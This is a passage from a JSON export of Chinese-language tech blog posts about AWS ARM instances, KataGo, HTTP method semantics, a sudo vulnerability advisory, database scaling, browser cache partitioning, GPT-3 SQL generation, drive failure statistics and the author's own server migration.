    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2020/09/17/9710/aws-%E6%8E%A8%E5%87%BA%E4%BA%86-arm-%E5%B9%B3%E5%8F%B0%E4%B8%8A-t-%E7%B3%BB%E5%88%97%E7%9A%84%E6%A9%9F%E5%99%A8/\">AWS 推出了 ARM 平台上 T 系列的機器</a>」這邊提到 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出採用 <a href=\"https://www.arm.com/\">ARM</a> 系列的 <code>t4g.*</code>，當時亞洲區只有東京與孟買可以使用，現在在更多區域都推出上線了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/01/announcing-new-amazon-ec2-t4g-instances-aws-graviton2-processors-additional-regions/\">Announcing new Amazon EC2 T4g instances powered by AWS Graviton2 processors along with a T4g free trial in Asia Pacific (Sydney, Singapore), Europe (London), North Americas (Canada Central, San Francisco), and South Americas (Sao Paulo) regions</a>」。\r\n\r\n抓了一下新加坡的價錢：\r\n\r\n<table>\r\n<tr><td>t4g.nano</td><td>2</td><td>N/A</td><td>0.5 GiB</td><td>EBS Only</td><td>$0.0053 per Hour</td></tr>\r\n<tr><td>t3.nano</td><td>2</td><td>Variable</td><td>0.5 GiB</td><td>EBS Only</td><td>$0.0066 per Hour</td></tr>\r\n<tr><td>t3a.nano</td><td>2</td><td>Variable</td><td>0.5 GiB</td><td>EBS Only</td><td>$0.0059 per Hour</td></tr>\r\n</table>\r\n\r\n可以來測一些東西看看如何了...",
    "title": "AWS 的 T4g 系列機器增加服務區域"
  },
  {
    "id": "9936",
    "body": "<a href=\"https://github.com/lightvector/KataGo\">KataGo</a> 應該是目前 open source 領域裡面數一數二強的圍棋引擎，在去年就一直在開發可以讓大家參與的分散式訓練計畫，最近釋出了 <a href=\"https://github.com/lightvector/KataGo/releases/tag/v1.8.0\">v1.8.0</a> 版，算是公開啟動了：「<a href=\"https://katagotraining.org/\">KataGo Distributed Training</a>」，作者在「<a href=\"https://lifein19x19.com/viewtopic.php?f=9&amp;t=18019\">KataGo distributed training is open!</a>」這邊也有大概寫一下。\r\n\r\n基本上照著官方網站上面的說明做就可以了，可以下載 precompiled binary 或是自己編，自己編的時候注意不能直接拿 <code>master</code> branch 裡面編 (client hash 會不對)，我自己目前是用 <a href=\"https://github.com/lightvector/KataGo/commit/8ffda1fe05c69c67342365013b11225d443445e8\">v1.8.0</a> 這個版本編出來跑。\r\n\r\n在 <a href=\"https://www.reddit.com/\">Reddit</a> 上面的「<a href=\"https://www.reddit.com/r/baduk/comments/l3l6vu/katagos_new_run_is_open_for_public_contributions/\">KataGo's new run is open for public contributions!</a>」也可以看到說明的圖片 (要注意圖上的 X 軸不是線性)，算是接著本來的 <code>g170</code> 訓練下去，另外也標示了 <a href=\"https://zh.wikipedia.org/wiki/ELF_OpenGo\">ELFv2</a> 與 <a href=\"https://zh.wikipedia.org/wiki/Leela_Zero\">Leela Zero</a> 大致上的強度：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6ZUxeol.webp\" /><img src=\"https://i.gslin.com/imgur/6ZUxeol.png\" alt=\"\" /></picture>\r\n\r\n目前看起來陸陸續續有人開始參與了...\r\n\r\n另外在 <a href=\"https://zh.wikipedia.org/wiki/CGOS\">CGOS</a> 上面也可以看到 <code>kata1</code> 開頭的 bot 在跑，而且看起來會一直把新的 training 成果更新上去跑。",
    "title": "KataGo 的分散式訓練計畫啟動了"
  },
  {
    "id": "9937",
    "body": "看到這篇在講 HTTP (&amp; HTTPS) 裡面 GET 與 POST 的差異，剛好把一些標準的定義拿出來翻一翻，算是複習基本概念：「<a href=\"https://adactio.com/journal/17768\">Get safe</a>」。\r\n\r\n第一個基本概念主要是 <a href=\"https://en.wikipedia.org/wiki/Idempotence\">idempotence</a> (&amp; idempotent)，重複被呼叫不會造成狀態的再次改變：\r\n\r\n<blockquote>Idempotence ([...]) is the property of certain operations in mathematics and computer science whereby they can be applied multiple times without changing the result beyond the initial application.</blockquote>\r\n\r\n數學定義是這樣跑：\r\n\r\n<blockquote>An element x of a magma (M, •) is said to be idempotent if:\r\n\r\nx • x = x.\r\n\r\nIf all elements are idempotent with respect to •, then • is called idempotent. The formula ∀x, x • x = x is called the idempotency law for •.</blockquote>\r\n\r\n這點在 HTTP 標準 (<a href=\"https://tools.ietf.org/html/rfc7231\">RFC 7231</a>) 裡面的定義也類似：\r\n\r\n<blockquote>A request method is considered \"idempotent\" if the intended effect on the server of multiple identical requests with that method is the same as the effect for a single such request.  Of the request methods defined by this specification, PUT, DELETE, and safe request methods are idempotent.</blockquote>\r\n\r\n第二個基本概念是 Safe method (也是在同樣的 RFC 裡被提到)，主要的思想是 read-only，這也是文章作者的標題要講的事情：\r\n\r\n<blockquote>Request methods are considered \"safe\" if their defined semantics are essentially read-only; i.e., the client does not request, and does not expect, any state change on the origin server as a result of applying a safe method to a target resource.  Likewise, reasonable use of a safe method is not expected to cause any harm, loss of property, or unusual burden on the origin server.</blockquote>\r\n\r\n然後標準的 HTTP method 是有定義的：\r\n\r\n<pre>   +---------+------+------------+---------------+\r\n   | Method  | Safe | Idempotent | Reference     |\r\n   +---------+------+------------+---------------+\r\n   | CONNECT | no   | no         | Section 4.3.6 |\r\n   | DELETE  | no   | yes        | Section 4.3.5 |\r\n   | GET     | yes  | yes        | Section 4.3.1 |\r\n   | HEAD    | yes  | yes        | Section 4.3.2 |\r\n   | OPTIONS | yes  | yes        | Section 4.3.7 |\r\n   | POST    | no   | no         | Section 4.3.3 |\r\n   | PUT     | no   | yes        | Section 4.3.4 |\r\n   | TRACE   | yes  | yes        | Section 4.3.8 |\r\n   +---------+------+------------+---------------+</pre>\r\n\r\n不過文章裡面提到的第一個例子並沒有很好，POST 不保證 safe 沒錯，但不代表 safe operation 就不能用 POST。\r\n\r\n這邊用 URI resource 的概念 (以及 SEO？) 或是用 <a href=\"https://en.wikipedia.org/wiki/Post/Redirect/Get\">Post/Redirect/Get</a> 的概念來說明會比較好：\r\n\r\n<pre>&lt;form method=\"get\" action=\"/search\"&gt;\r\n&lt;input type=\"search\" name=\"term\"&gt;</pre>\r\n\r\n不過文章後續提到的問題的確就是我自己都會犯錯的問題：\r\n\r\n<blockquote>“Log out” links that should be forms with a “log out” button—you can always style it to look like a link if you want.</blockquote>\r\n\r\n<blockquote>“Unsubscribe” links in emails that immediately trigger the action of unsubscribing instead of going to a form where the POST method does the unsubscribing. I realise that this turns unsubscribing into a two-step process, which is a bit annoying from a usability point of view, but a destructive action should never be baked into a GET request.</blockquote>\r\n\r\n這兩個動作都會造成 server 端的狀態改變，不應該用 GET，而我自己常常忘記第一個... 這邊其實可以用 form 產生 POST 需求，並且用 css 效果包起來，達到看起來跟一般的連結一樣。\r\n\r\n寫起來讓自己多一點印象，之後避免再犯一樣的錯誤...",
    "title": "GET 與 POST 的差異"
  },
  {
    "id": "9938",
    "body": "<a href=\"https://www.sudo.ws/\">Sudo</a> 這次的安全性漏洞頗痛的：「<a href=\"https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit\">CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)</a>」。\r\n\r\n依照 <a href=\"https://www.sudo.ws/security.html\">Sudo Security Alerts</a> 這邊的說明，這次的漏洞只要是本機有執行權限的人都有機會打穿，不需要有 sudo 帳號權限：\r\n\r\n<blockquote>A potential security issue exists in sudo that could be used by a local user to gain root privileges even when not listed in the sudoers file. Affected sudo versions are 1.8.2 through 1.8.31p2 and 1.9.0 through 1.9.5p1. Sudo 1.9.5p2 and above are not affected.</blockquote>\r\n\r\n不限於本來就有 sudo 帳號 (但可能可執行指令受限) 就比較麻煩了，這代表從 web 之類的管道打進去以後 (可能是 <code>www-data</code> 身份)，就可以用這個洞取得 root 權限，另外一條路是透過資料庫打進去後 (像是 <code>mysql</code> 身份) 取得。\r\n\r\n該來把一堆機器更新了...",
    "title": "更新 Sudo (CVE-2021-3156)"
  },
  {
    "id": "9940",
    "body": "在 2021 年看到 <a href=\"https://www.eventbrite.com/\">Eventbite</a> 的 <a href=\"https://dev.mysql.com/\">MySQL</a> 升級計畫：「<a href=\"https://www.eventbrite.com/engineering/mysql-high-availability-at-eventbrite/\">MySQL High Availability at Eventbrite</a>」。\r\n\r\n看起來是 2019 年年初的時候 MySQL 5.1 出問題，後續決定安排升級，在 2019 年年中把系統升級到 MySQL 5.7 (<a href=\"https://www.percona.com/software/mysql-database/percona-server\">Percona Server</a> 版本)：\r\n\r\n<blockquote>Our first major hurdle was to get current with our version of MySQL. In July, 2019 we completed the MySQL 5.1 to MySQL 5.7 (v5.7.19-17-log Percona Server to be precise) upgrade across all MySQL instances.</blockquote>\r\n\r\n然後看起來是直接在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上跑，不過這邊提到的空間問題就不太確定了，是真的把 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的空間上限用完嗎？比較常使用的 <code>gp2</code> 與 <code>gp3</code> 上限都是 16TB，不確定是不是真的用到接近爆掉了：\r\n\r\n<blockquote>Not only was support for MySQL 5.1 at End-of-Life (more than 5 years ago) but our MySQL 5.1 instances on EC2/AWS had limited storage and we were scheduled to run out of space at the end of July. Our backs were up against the wall and we had to deliver!</blockquote>\r\n\r\n另外在升級到 5.7 的時候，順便把本來是 <code>INT</code> 的 primary key 都換成 <code>BIGINT</code>：\r\n\r\n<blockquote>As part of the cut-over to MySQL 5.7, we also took the opportunity to bake in a number of improvements. We converted all primary key columns from INT to BIGINT to prevent hitting MAX value.</blockquote>\r\n\r\n然後系統因為舊版的 <a href=\"https://www.djangoproject.com/\">Django</a> 沒辦法配合 MySQL 5.7，得升級到 Django 1.6 (要注意 Django 1 系列的最新版是 1.11，看起來光是升級到 1.6 勉強會動就升不上去了？)：\r\n\r\n<blockquote>In parallel with the MySQL 5.7 upgrade we also Upgraded Django to 1.6 due a behavioral change in MySQL 5.7 related to how transactions/commits were handled for SELECT statements. This behavior change was resulting in errors with older version of Python/Django running on MySQL 5.7</blockquote>\r\n\r\n然後採用了 <a href=\"https://github.com/\">GitHub</a> 家研發的 <a href=\"https://github.com/github/gh-ost\">gh-ost</a> 當作改變 schema 的工具：\r\n\r\n<blockquote>In December 2019, the Eventbrite DBRE successfully implemented a table ALTER via  gh-ost on one of our larger MySQL tables.</blockquote>\r\n\r\n看起來主要的原因是有遇到 <a href=\"https://www.percona.com/doc/percona-toolkit/LATEST/pt-online-schema-change.html\">pt-online-schema-change</a> 的限制 (在「<a href=\"https://blog.gslin.org/archives/2016/08/07/6716/github-%E7%99%BC%E5%B1%95%E5%87%BA%E4%BE%86%E7%9A%84-alter-table-%E6%96%B9%E5%BC%8F/\">GitHub 發展出來的 ALTER TABLE 方式</a>」這邊有提到)：\r\n\r\n<blockquote>Eventbrite had traditionally used pt-online-schema-change (pt-osc) to ALTER MySQL tables in production. pt-osc uses MySQL triggers to move data from the original to the “duplicate” table which is a very expensive operation and can cause replication lag.  Matter of fact, it had directly resulted in several outages in H1 of 2019 due to replication lag or breakage.</blockquote>\r\n\r\n另外一個引入的技術是 <a href=\"https://github.com/openark/orchestrator\">Orchestrator</a>，看起來是先跟 <a href=\"https://www.haproxy.org/\">HAProxy</a> 搭配，不過他們打算要再換到 <a href=\"https://proxysql.com/\">ProxySQL</a>：\r\n\r\n<blockquote>Next on the list was implementing improvements to MySQL high availability and automatic failover using Orchestrator. In February of 2020 we implemented a new HAProxy layer in front of all DB clusters and we released Orchestrator to production!</blockquote>\r\n\r\n<blockquote>Orchestrator can successfully detect the primary failure and promote a new primary. The goal was to implement Orchestrator with HAProxy first and then eventually move to Orchestrator with ProxySQL.</blockquote>\r\n\r\n然後最後題到了 <a href=\"https://squareup.com/\">Square</a> 研發的 <a href=\"https://github.com/square/shift\">Shift</a>，把 gh-ost 包裝起來變成有個 web UI 可以操作：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kRZ8E9f.webp\" /><img src=\"https://i.gslin.com/imgur/kRZ8E9f.png\" alt=\"\" /></picture>\r\n\r\n2021 還可以看到這類文章還蠻有趣的...",
    "title": "Eventbrite 的 MySQL 升級計畫"
  },
  {
    "id": "9941",
    "body": "繼 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 實做了 Cache Partition (「<a href=\"https://blog.gslin.org/archives/2020/10/13/9752/google-chrome-%E7%9A%84-cache-partition-%E7%94%9F%E6%95%88/\">Google Chrome 的 Cache Partition 生效</a>」)，<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 也實做的版本也進 standard 版本了：「<a href=\"https://blog.mozilla.org/security/2021/01/26/supercookie-protections/\">Firefox 85 Cracks Down on Supercookies</a>」。\r\n\r\n<blockquote>In Firefox 85, we’re introducing a fundamental change in the browser’s network architecture to make all of our users safer: we now partition network connections and caches by the website being visited.</blockquote>\r\n\r\n這要防禦的手法可以參考先前在「<a href=\"https://blog.gslin.org/archives/2019/10/18/9252/google-chrome-%E8%A6%81%E8%97%89%E7%94%B1%E6%8B%86%E9%96%8B-http-cache-%E6%8F%90%E6%98%87%E9%9A%B1%E7%A7%81/\">Google Chrome 要藉由拆開 HTTP Cache 提昇隱私</a>」這邊提到的方法，主要就是共用 cache 時可以利用抓檔案的時間來判斷 (side channel information)。\r\n\r\n這樣主流的瀏覽器都支援 Cache Partition 了...",
    "title": "Firefox 的 Cache Partition 也生效了"
  },
  {
    "id": "9943",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的東西，直接給 <a href=\"https://en.wikipedia.org/wiki/GPT-3\">GPT-3</a> 條件，叫 GPT-3 給出對應的 SQL query，這就有點誇張了...：「<a href=\"https://blog.seekwell.io/gpt3\">Automating My Job with GPT-3</a>」。\r\n\r\n這樣丟進去：\r\n\r\n<blockquote>Instruction: Given an input question, respond with syntactically correct PostgreSQL. Be creative but the SQL must be correct.\r\n\r\nInput: how many users signed up in the past month?</blockquote>\r\n\r\n然後這樣出來：\r\n\r\n<blockquote>GPT-3 Response: SELECT COUNT(*) FROM users\r\nWHERE signup_time &gt; now() - interval '1 month'</blockquote>\r\n\r\n把欄位名稱替換掉就可以用了... 而且接下來就更誇張了，直接要求 GPT-3 也要照著設定的 table schema 給答案：\r\n\r\n<blockquote>Instruction: Given an input question, respond with syntactically correct PostgreSQL. Be creative but the SQL must be correct. Only use tables called \"users\" and \"charges\". The \"users\" table has columns: id (integer), signup_dt (timestamp), email (character varying), and plan_type (character varying). The \"charges\" table has columns: amount (bigint), user_id (integer), and charge_dt (timestamp).\r\n\r\nInput: how much revenue did we have in the past 7 days?</blockquote>\r\n\r\n然後輸出了：\r\n\r\n<blockquote>GPT-3 Response: SELECT SUM(amount) FROM charges WHERE charge_dt &gt; now() - interval '7 days'</blockquote>\r\n\r\n接下來是在同樣 instruction 下，跨表格的問題：\r\n\r\n<blockquote>Input: how much revenue have we had from users that signed up in the last 6 months?</blockquote>\r\n\r\n這時候 <code>INNER JOIN</code> 就跑出來了：\r\n\r\n<blockquote>.8 Temperature GPT-3 Response: SELECT SUM(charges.amount) FROM users INNER JOIN charges ON users.id = charges.user_id WHERE signup_dt &gt;= DATE_SUB(now(), INTERVAL '6 months')</blockquote>\r\n\r\n後面的問題也很精彩，看起來之後可以接上 BI dashboard，直接丟句子進去，然後拉各種資料出來視覺化？",
    "title": "用 GPT-3 直接產生對應的 SQL query"
  },
  {
    "id": "9944",
    "body": "前幾天 <a href=\"https://www.backblaze.com/\">Backblaze</a> 放了 2020 年的回顧資料出來：「<a href=\"https://www.backblaze.com/blog/backblaze-hard-drive-stats-for-2020/\">Backblaze Hard Drive Stats for 2020</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lfnjDmo.webp\" /><img src=\"https://i.gslin.com/imgur/lfnjDmo.png\" alt=\"\" /></picture>\r\n\r\n整體的 AFR (<a href=\"https://en.wikipedia.org/wiki/Annualized_failure_rate\">Annualized Failure Rate</a>) 在 0.93% 左右，而如果照品牌拆開，<a href=\"https://en.wikipedia.org/wiki/HGST\">HGST</a> 的數字依然是最漂亮的 (雖然他現在是 <a href=\"https://www.westerndigital.com/\">WD</a> 的品牌)，大約在 0.36% 左右 (111/(1083774+4663049+372000+820272+275779+3968475))，<a href=\"https://www.toshiba-storage.com/\">Toshiba</a> 次之，大約低了平均值一些落在 0.89%，而 <a href=\"http://www.seagate.com/\">Seagate</a> 光是看就就知道會超過 1%...\r\n\r\n官方有提到，低於 250,000 drive days 以下的數據僅供參考，因為資料量太少，在統計上無法提供結論：\r\n\r\n<blockquote>For drives which have less than 250,000 drive days, any conclusions about drive failure rates are not justified. There is not enough data over the year-long period to reach any conclusions. We present the models with less than 250,000 drive days for completeness only.</blockquote>\r\n\r\n然後 WD 本家的硬碟回到戰線了，記得之前基本上算是被唾棄 XDDD\r\n\r\n另外一張表則是講到這三年的情況，可以看出來 2020 年的 AFR 數字降了不少，裡面也解釋了為什麼 (看起來就是活下來的穩下來了...)：\r\n\r\n<img src=\"https://i.gslin.com/imgur/ugV7bNh.png\" alt=\"\" />\r\n\r\n<blockquote>The answer: It was a group effort. To start, the older drives: 4TB, 6TB, 8TB, and 10TB drives as a group were significantly better in 2020, decreasing from a 1.35% AFR in 2019 to a 0.96% AFR in 2020. At the other end of the size spectrum, we added over 30,000 larger drives: 14TB, 16TB, and 18TB, which as a group recorded an AFR of 0.89% for 2020. Finally, the 12TB drives as a group had a 2020 AFR of 0.98%. In other words, whether a drive was old or new, or big or small, they performed well in our environment in 2020.</blockquote>",
    "title": "Backblaze 在 2020 年對機械硬碟的回顧"
  },
  {
    "id": "9945",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.cybertec-postgresql.com/en/postgres-scaling-advice-for-2021/\">Postgres scaling advice for 2021</a>」這篇，講 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 要怎麼 scale，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有對應的討論可以看：「<a href=\"https://news.ycombinator.com/item?id=25915023\">Postgres scaling advice (cybertec-postgresql.com)</a>」。\r\n\r\n文章前面先提到分散式系統的複雜度會導致 RDBMS 上的一些假設失效，所以如果可以用單台機器暴力解，就儘量用單台機器來解 (scale up 的情境)，裡面就提到了一些「暴力可以解決很多問題」的說明，差不多就是前幾天提到的「<a href=\"https://blog.gslin.org/archives/2021/01/22/9932/lets-encrypt-%e5%8d%87%e7%b4%9a%e8%b3%87%e6%96%99%e5%ba%ab%e4%bc%ba%e6%9c%8d%e5%99%a8-amd-yes%ef%bc%9f/\">Let's Encrypt 升級資料庫伺服器 (AMD YES？)</a>」。\r\n\r\n後面提到如果真的要放進分散式的 RDBMS (scale out 的情境)，怎麼設計資料結構會比較好。\r\n\r\n這邊剛好也可以提一下，量夠大的時候要把 <a href=\"https://en.wikipedia.org/wiki/OLTP\">OLTP</a> 與 <a href=\"https://en.wikipedia.org/wiki/OLAP\">OLAP</a> 的應用分開，現在有很多 OLAP 資料庫可以選擇，同步的工具也很成熟了，通常效能會比在 OLTP 上面硬跑來的好。\r\n\r\n最後提一下，文章裡面對於 transaction per second 可以拉很高，有些假設沒有明寫出來。這需要盡可能把 transaction 拆小，避免常常有 giant transaction 卡住整個資料庫，這點對於一般的系統會需要做不少改寫...\r\n\r\n不過最後比較疑惑的是，這種文章怎麼會上 Hacker News 的啊...",
    "title": "PostgreSQL 的 scale 建議"
  },
  {
    "id": "9948",
    "body": "在 <a href=\"https://www.solidot.org/\">Solidot</a> 上看到「<a href=\"https://www.solidot.org/story?sid=66801\">Google 将屏蔽西班牙 CA Camerfirma</a>」這篇，裡面是引用了 <a href=\"https://www.zdnet.com/\">ZDNet</a> 的「<a href=\"https://www.zdnet.com/article/google-bans-another-misbehaving-ca-from-chrome/\">Google bans another misbehaving CA from Chrome</a>」這則報導，看了一下相關的資料，好像還蠻精彩的...\r\n\r\n在「<a href=\"https://groups.google.com/g/mozilla.dev.security.policy/c/dSeD3dgnpzk/m/diOfeWNpBQAJ\">Summary of Camerfirma's Compliance Issues</a>」這邊有不少人的討論，另外 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://twitter.com/sleevi_\">Ryan Sleevi</a> 宣佈將不會信任 Camerfirma CA 的公告則可以在<a href=\"https://groups.google.com/g/mozilla.dev.security.policy/c/dSeD3dgnpzk/m/iAUwcFioAQAJ\">這邊</a>看到。\r\n\r\n<a href=\"https://www.mozilla.org/\">Mozilla</a> 有在他們自家的 wiki 上面整理出 <a href=\"https://www.camerfirma.com/\">Camerfirma</a> 發生過的各種問題：「<a href=\"https://wiki.mozilla.org/CA:Camerfirma_Issues\">CA:Camerfirma Issues</a>」。\r\n\r\n開頭的「Issue B: Delegation of validation to StartCom following Mozilla's distrust of StartCom (March 2017)」就看到讓人頗意外的關係，原來這家公司跟當年的 <a href=\"https://en.wikipedia.org/wiki/WoSign\">WoSign</a> &amp; <a href=\"https://en.wikipedia.org/wiki/StartCom\">StartCom</a> 有關：\r\n\r\n<blockquote>In March 2017, following the distrust of WoSign/StartCom, Camerfirma entered into a business relationship with StartCom. As part of that relationship, StartCom's CEO Iñigo underwent training as an RA for Camerfirma. As described, Iñigo performed organizational and domain validation for customers of StartCom, and then instructed Camerfirma to issue the certificates.</blockquote>\r\n\r\n花了大概二十分鐘翻完，這戰績有點輝煌... Mozilla 到目前還是沒做決定，反倒是 <a href=\"https://www.google.com/\">Google</a> 先砍了第一刀？",
    "title": "Camerfirma 的情況"
  },
  {
    "id": "9949",
    "body": "這幾天玩 <a href=\"https://www.joinclubhouse.com/\">Clubhouse</a> 玩太兇了，來清一下累積在 tab 上的東西...\r\n\r\n在「<a href=\"https://www.ghacks.net/2021/02/03/waterfox-g3-1-0-introduces-support-for-installing-chrome-and-opera-extensions/\">Waterfox G3.1.0 introduces support for installing Chrome and Opera extensions</a>」這邊看到的東西，以 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 為基底的 <a href=\"https://www.waterfox.net/\">Waterfox</a> 可以裝 <a href=\"https://chrome.google.com/webstore/\">chrome web store</a> 裡的 extension 了。也就是說，現在除了可以裝 Firefox 自家的 <a href=\"https://addons.mozilla.org/\">Add-Ons</a> 外，現在也可以裝 chrome web store 的套件了，但注意的是，畢竟底層用的 engine 不同 (以及支援的 API 也不同)，不保證 100% 會動。\r\n\r\n把自己之前寫過的套件裝起來，在套件頁大概長這樣，不確定自動更新的機制會怎麼跑就是了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yZ0EK5v.webp\" /><img src=\"https://i.gslin.com/imgur/yZ0EK5v.png\" alt=\"\" /></picture>\r\n\r\n另外一個小問題是，裝完後在 chrome web store 的網站上也不會顯示已經安裝了，這個設計應該是為了隱私，不讓網站有機會偵測到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yFfQU6h.webp\" /><img src=\"https://i.gslin.com/imgur/yFfQU6h.png\" alt=\"\" /></picture>\r\n\r\n加減來測試看看...",
    "title": "Waterfox 可以裝 chrome web store 的 extension 了"
  },
  {
    "id": "9950",
    "body": "又在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://wiki.eth0.nl/index.php/LackRack\">LackRack</a> 了，這是 <a href=\"https://www.ikea.com/\">IKEA</a> 的 LACK 系列家具，因為尺寸很剛好，有人就 hack 這個邊桌拿來當作機櫃用，甚至還有仿 IKEA 的組裝文件：「<a href=\"http://eth-0.nl/lackrack.pdf\">Manual</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/04jhGss.webp\" /><img src=\"https://i.gslin.com/imgur/04jhGss.png\" alt=\"\" /></picture>\r\n\r\n另外還可以疊 (不過要注意重量，畢竟這還是木頭)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Z8i3RlO.webp\" /><img src=\"https://i.gslin.com/imgur/Z8i3RlO.png\" alt=\"\" /></picture>\r\n\r\n這張邊桌在台灣也有賣，有四種不同的外觀可以選：「<a href=\"https://www.ikea.com.tw/zh/products/armchairs-footstool-and-sofa-tables/sofa-tables/lack-art-10449909\">LACK 邊桌, 白色</a>」、「<a href=\"https://www.ikea.com.tw/zh/products/armchairs-footstool-and-sofa-tables/sofa-tables/lack-art-00352988\">LACK 邊桌, 黑色</a>」、「<a href=\"https://www.ikea.com.tw/zh/products/armchairs-footstool-and-sofa-tables/sofa-tables/lack-art-10370010\">LACK 邊桌, 高亮面 白色</a>」與「<a href=\"https://www.ikea.com.tw/zh/products/armchairs-footstool-and-sofa-tables/sofa-tables/lack-art-80352927\">LACK 邊桌, 黑棕色</a>」，尺寸都是 55cmx55cmx45cm。",
    "title": "三不五時被提到的 LackRack"
  },
  {
    "id": "9951",
    "body": "在「<a href=\"https://www.ctrl.blog/entry/raspberry-heatsink-case-fan.html\">Raspberry Pi <del>heatsink</del> <u>and case fan continued</u></a>」這邊看到 <a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 官方有出 RPi4 的殼 + 風扇，看起來是兩個月前的消息了，雖然我自己還是比較喜歡維護上比較方便的被動散熱... (在「<a href=\"https://blog.gslin.org/archives/2020/01/03/9360/raspberry-pi-4-%E7%9A%84%E6%95%A3%E7%86%B1%E5%95%8F%E9%A1%8C/\">Raspberry Pi 4 的散熱問題</a>」這邊有提到過兩個方案)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MMeSbyI.webp\" /><img src=\"https://i.gslin.com/imgur/MMeSbyI.png\" alt=\"\" /></picture>\r\n\r\n官方的測試是編 <a href=\"https://www.kernel.org/\">Linux kernel</a>，大概會跑快一個小時，首先是跑在預設上限 1.5Ghz 的情況下：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zB2dBsT.webp\" /><img src=\"https://i.gslin.com/imgur/zB2dBsT.png\" alt=\"\" /></picture>\r\n\r\n在超頻到 1.8Ghz 但沒有風扇的情況下，除了溫度比較高，反而還會變慢：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/coFidvG.webp\" /><img src=\"https://i.gslin.com/imgur/coFidvG.png\" alt=\"\" /></picture>\r\n\r\n讓人迷惑的是，加上風扇後速度其實跟沒有超頻差不多，只是整體的溫度比較低... 這樣就看不太懂了，超頻的效能跑去哪了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6EBD4Jk.webp\" /><img src=\"https://i.gslin.com/imgur/6EBD4Jk.png\" alt=\"\" /></picture>\r\n\r\n所以是編譯過程卡 i/o 嗎？暫時想不到其他原因...",
    "title": "Raspberry Pi 4 官方的殼 + 官方的風扇"
  },
  {
    "id": "9954",
    "body": "算了一下成本還可以接受 (機器 + 空間 + 流量)，就把 blog 搬到 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <code>t4g.small</code> (<a href=\"https://www.arm.com/\">ARM</a>) 上，理論上頁面的速度應該會快不少，過幾天等穩定性沒問題後就來買 RI...\r\n\r\n從 <a href=\"https://en.wikipedia.org/wiki/X86-64\">x86-64</a> 轉到 ARM 上面，主要是 <a href=\"https://www.percona.com/software/mysql-database/percona-server\">Percona Server</a> 目前沒有提供 ARM binary 的 apt repository，所以就改用 <a href=\"https://mariadb.com/\">MariaDB</a> 了。\r\n\r\n其他的倒是都差不多，目前的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> + <a href=\"https://nginx.org/\">nginx</a> + <a href=\"https://www.php.net/\">PHP</a> 沒什麼問題，跑一陣子看看...",
    "title": "把 blog 搬到 t4g.small 上"
  },
  {
    "id": "9956",
    "body": "我在「<a href=\"https://blog.gslin.org/archives/2021/02/08/9954/%e6%8a%8a-blog-%e6%90%ac%e5%88%b0-t4g-small-%e4%b8%8a/\">把 blog 搬到 t4g.small 上</a>」這邊有提到把這個 blog 搬到 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 <code>t4g.small</code> 上 (2GB RAM + 20% CPU credit)，跑了一陣子把 CPU usage 拉出來看：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yyEgvq9.webp\" /><img src=\"https://i.gslin.com/imgur/yyEgvq9.png\" alt=\"\" /></picture>\r\n\r\n當初估大約要 20% 的 CPU credit，結果發現 CPU credit 大概用 5% 就夠了。另外記憶體的部份大約要給 1GB，這個量可以看出來一些沒在用的 process 會被丟到 swap：\r\n\r\n<small><pre>              total        used        free      shared  buff/cache   available\r\nMem:          952Mi       380Mi        79Mi       110Mi       492Mi       368Mi\r\nSwap:         511Mi       152Mi       359Mi</pre></small>\r\n\r\n把條件綜合起來計算，就往下降一階變成 <code>t4g.micro</code> 了 (1GB RAM + 10% CPU credit)。\r\n\r\n另外新機種比較不用擔心淘汰速度，就看了一下 <a href=\"https://aws.amazon.com/aws-cost-management/aws-cost-optimization/reserved-instances/\">Reserved Instances</a> 的價錢，一年 USD$44，三年 USD$84，看起來只要有用兩年就算是 OK，直接買三年解決掉...",
    "title": "把 blog 從 t4g.small 降到 t4g.micro"
  },
  {
    "id": "9957",
